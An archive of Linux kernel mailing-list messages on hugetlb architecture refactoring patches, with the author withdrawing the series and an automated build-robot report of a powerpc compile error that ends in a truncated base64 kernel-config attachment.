>   	return 0;
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 41b5f6adeee4..bf573500b3c4 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   {
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 7df1f116a3cc..1c9c4531376c 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTE_NONE
>   static inline int huge_pte_none(pte_t pte)
>   {
>   	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 9afff26747a1..c09d8c74553c 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   {
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index de0769f0b5b2..530b817e097c 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   	flush_hugetlb_page(vma, addr);
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 9abf9c86b769..a9f8266f33cf 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   {
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 651a9593fcee..11115bbd712e 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   {
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 8347d5abf882..c5fdc53b6e41 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index ffa63fd8388d..2fc3d68424e9 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   }
>   #endif
>   
> +#ifndef __HAVE_ARCH_HUGE_PTE_NONE
> +static inline int huge_pte_none(pte_t pte)
> +{
> +	return pte_none(pte);
> +}
> +#endif
> +
>   #endif /* _ASM_GENERIC_HUGETLB_H */



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 05/11] hugetlb: Introduce generic version of
 huge_ptep_clear_flush
Date: Thu, 5 Jul 2018 05:38:31 +0000
Lines: 159
Approved: news@gmane.org
Message-ID: <319ae759-f6b1-0b75-cfd5-35f956afba13@ghiti.fr>
References: <20180705045847.32575-1-alex@ghiti.fr>
 <20180705045847.32575-6-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530769006 11387 195.159.176.226 (5 Jul 2018 05:36:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:36:46 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:36:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawwY-0002qX-Hk
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:36:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753174AbeGEFiq (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:38:46 -0400
Original-Received: from relay11.mail.gandi.net ([217.70.178.231]:47547 "EHLO
        relay11.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750967AbeGEFio (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:38:44 -0400
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay11.mail.gandi.net (Postfix) with ESMTPSA id D0DEB100011;
        Thu,  5 Jul 2018 05:38:31 +0000 (UTC)
In-Reply-To: <20180705045847.32575-6-alex@ghiti.fr>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812061 gmane.linux.ports.arm.kernel:660937 gmane.linux.ports.ia64:28906 gmane.linux.ports.mips.general:65266 gmane.linux.ports.parisc:28757 gmane.linux.ports.ppc64.devel:159690 gmane.linux.ports.sh.devel:57179 gmane.linux.ports.sparc:28081 gmane.linux.kernel.cross-arch:45027
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812061>

Please drop this serie, sorry for the noise.


On 07/05/2018 04:58 AM, Alexandre Ghiti wrote:
> arm, x86 architectures use the same version of
> huge_ptep_clear_flush, so move this generic implementation into
> asm-generic/hugetlb.h.
>
> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>   arch/arm/include/asm/hugetlb-3level.h | 6 ------
>   arch/arm64/include/asm/hugetlb.h      | 1 +
>   arch/ia64/include/asm/hugetlb.h       | 1 +
>   arch/mips/include/asm/hugetlb.h       | 1 +
>   arch/parisc/include/asm/hugetlb.h     | 1 +
>   arch/powerpc/include/asm/hugetlb.h    | 1 +
>   arch/sh/include/asm/hugetlb.h         | 1 +
>   arch/sparc/include/asm/hugetlb.h      | 1 +
>   arch/x86/include/asm/hugetlb.h        | 6 ------
>   include/asm-generic/hugetlb.h         | 8 ++++++++
>   10 files changed, 15 insertions(+), 12 deletions(-)
>
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index ad36e84b819a..b897541520ef 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>   	return retval;
>   }
>   
> -static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> -					 unsigned long addr, pte_t *ptep)
> -{
> -	ptep_clear_flush(vma, addr, ptep);
> -}
> -
>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>   					   unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 6ae0bcafe162..4c8dd488554d 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   				     unsigned long addr, pte_t *ptep);
>   extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>   				    unsigned long addr, pte_t *ptep);
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   				  unsigned long addr, pte_t *ptep);
>   #define __HAVE_ARCH_HUGE_PTE_CLEAR
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 6719c74da0de..41b5f6adeee4 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>   		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 0959cc5a41fa..7df1f116a3cc 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   	return pte;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 6e281e1bb336..9afff26747a1 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index ec3e0c2e78f8..de0769f0b5b2 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   #endif
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 08ee6c00b5e9..9abf9c86b769 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 944e3a4bfaff..651a9593fcee 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>   static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>   					 unsigned long addr, pte_t *ptep)
>   {
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 48b8d9b13cc6..8347d5abf882 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> -static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> -					 unsigned long addr, pte_t *ptep)
> -{
> -	ptep_clear_flush(vma, addr, ptep);
> -}
> -
>   static inline int huge_pte_none(pte_t pte)
>   {
>   	return pte_none(pte);
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 0f6f151780dd..ffa63fd8388d 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   }
>   #endif
>   
> +#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
> +static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> +		unsigned long addr, pte_t *ptep)
> +{
> +	ptep_clear_flush(vma, addr, ptep);
> +}
> +#endif
> +
>   #endif /* _ASM_GENERIC_HUGETLB_H */



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Thu, 5 Jul 2018 16:29:43 +0800
Lines: 281
Approved: news@gmane.org
Message-ID: <201807051622.dY8S5PXo%fengguang.wu@intel.com>
References: <20180705051640.790-3-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="NzB8fVQJ5HfG6fxh"
X-Trace: blaine.gmane.org 1530779327 5704 195.159.176.226 (5 Jul 2018 08:28:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 08:28:47 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 10:28:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fazd1-0001JH-0F
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 10:28:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753625AbeGEIao (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 04:30:44 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:32397 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753430AbeGEIal (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 04:30:41 -0400
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 05 Jul 2018 01:30:40 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,311,1526367600"; 
   d="gz'50?scan'50,208,50";a="69799115"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga001.fm.intel.com with ESMTP; 05 Jul 2018 01:30:35 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <lkp@intel.com>)
        id 1fazes-0000Hk-SF; Thu, 05 Jul 2018 16:30:34 +0800
Content-Disposition: inline
In-Reply-To: <20180705051640.790-3-alex@ghiti.fr>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812167 gmane.linux.ports.arm.kernel:660953 gmane.linux.ports.ia64:28907 gmane.linux.ports.mips.general:65267 gmane.linux.ports.parisc:28758 gmane.linux.ports.ppc64.devel:159700 gmane.linux.ports.sh.devel:57180 gmane.linux.ports.sparc:28082 gmane.linux.kernel.cross-arch:45030
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812167>


--NzB8fVQJ5HfG6fxh
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Alexandre,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.18-rc3 next-20180704]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Alexandre-Ghiti/hugetlb-Factorize-hugetlb-architecture-primitives/20180705-135909
config: powerpc-mpc8540_ads_defconfig (attached as .config)
compiler: powerpc-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=7.2.0 make.cross ARCH=powerpc 

All error/warnings (new ones prefixed by >>):

   In file included from arch/powerpc/kernel/setup-common.c:37:0:
>> include/linux/hugetlb.h:191:65: error: expected identifier or '(' before '{' token
    #define hugetlb_free_pgd_range(tlb, addr, end, floor, ceiling) ({BUG(); 0; })
                                                                    ^
>> include/asm-generic/hugetlb.h:44:20: note: in expansion of macro 'hugetlb_free_pgd_range'
    static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
                       ^~~~~~~~~~~~~~~~~~~~~~

vim +191 include/linux/hugetlb.h

^1da177e Linus Torvalds    2005-04-16  172  
87ffc118 Andrea Arcangeli  2017-02-22  173  #define follow_hugetlb_page(m,v,p,vs,a,b,i,w,n)	({ BUG(); 0; })
^1da177e Linus Torvalds    2005-04-16  174  #define follow_huge_addr(mm, addr, write)	ERR_PTR(-EINVAL)
^1da177e Linus Torvalds    2005-04-16  175  #define copy_hugetlb_page_range(src, dst, vma)	({ BUG(); 0; })
e1759c21 Alexey Dobriyan   2008-10-15  176  static inline void hugetlb_report_meminfo(struct seq_file *m)
e1759c21 Alexey Dobriyan   2008-10-15  177  {
e1759c21 Alexey Dobriyan   2008-10-15  178  }
^1da177e Linus Torvalds    2005-04-16  179  #define hugetlb_report_node_meminfo(n, buf)	0
949f7ec5 David Rientjes    2013-04-29  180  static inline void hugetlb_show_meminfo(void)
949f7ec5 David Rientjes    2013-04-29  181  {
949f7ec5 David Rientjes    2013-04-29  182  }
4dc71451 Aneesh Kumar K.V  2017-07-06  183  #define follow_huge_pd(vma, addr, hpd, flags, pdshift) NULL
e66f17ff Naoya Horiguchi   2015-02-11  184  #define follow_huge_pmd(mm, addr, pmd, flags)	NULL
e66f17ff Naoya Horiguchi   2015-02-11  185  #define follow_huge_pud(mm, addr, pud, flags)	NULL
faaa5b62 Anshuman Khandual 2017-07-06  186  #define follow_huge_pgd(mm, addr, pgd, flags)	NULL
a5516438 Andi Kleen        2008-07-23  187  #define prepare_hugepage_range(file, addr, len)	(-EINVAL)
^1da177e Linus Torvalds    2005-04-16  188  #define pmd_huge(x)	0
ceb86879 Andi Kleen        2008-07-23  189  #define pud_huge(x)	0
^1da177e Linus Torvalds    2005-04-16  190  #define is_hugepage_only_range(mm, addr, len)	0
9da61aef David Gibson      2006-03-22 @191  #define hugetlb_free_pgd_range(tlb, addr, end, floor, ceiling) ({BUG(); 0; })
788c7df4 Hugh Dickins      2009-06-23  192  #define hugetlb_fault(mm, vma, addr, flags)	({ BUG(); 0; })
8fb5debc Mike Kravetz      2017-02-22  193  #define hugetlb_mcopy_atomic_pte(dst_mm, dst_pte, dst_vma, dst_addr, \
8fb5debc Mike Kravetz      2017-02-22  194  				src_addr, pagep)	({ BUG(); 0; })
7868a208 Punit Agrawal     2017-07-06  195  #define huge_pte_offset(mm, address, sz)	0
24669e58 Aneesh Kumar K.V  2012-07-31  196  

:::::: The code at line 191 was first introduced by commit
:::::: 9da61aef0fd5b17dd4bf4baf33db12c470def774 [PATCH] hugepage: Fix hugepage logic in free_pgtables()

:::::: TO: David Gibson <david@gibson.dropbear.id.au>
:::::: CC: Linus Torvalds <torvalds@g5.osdl.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--NzB8fVQJ5HfG6fxh
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
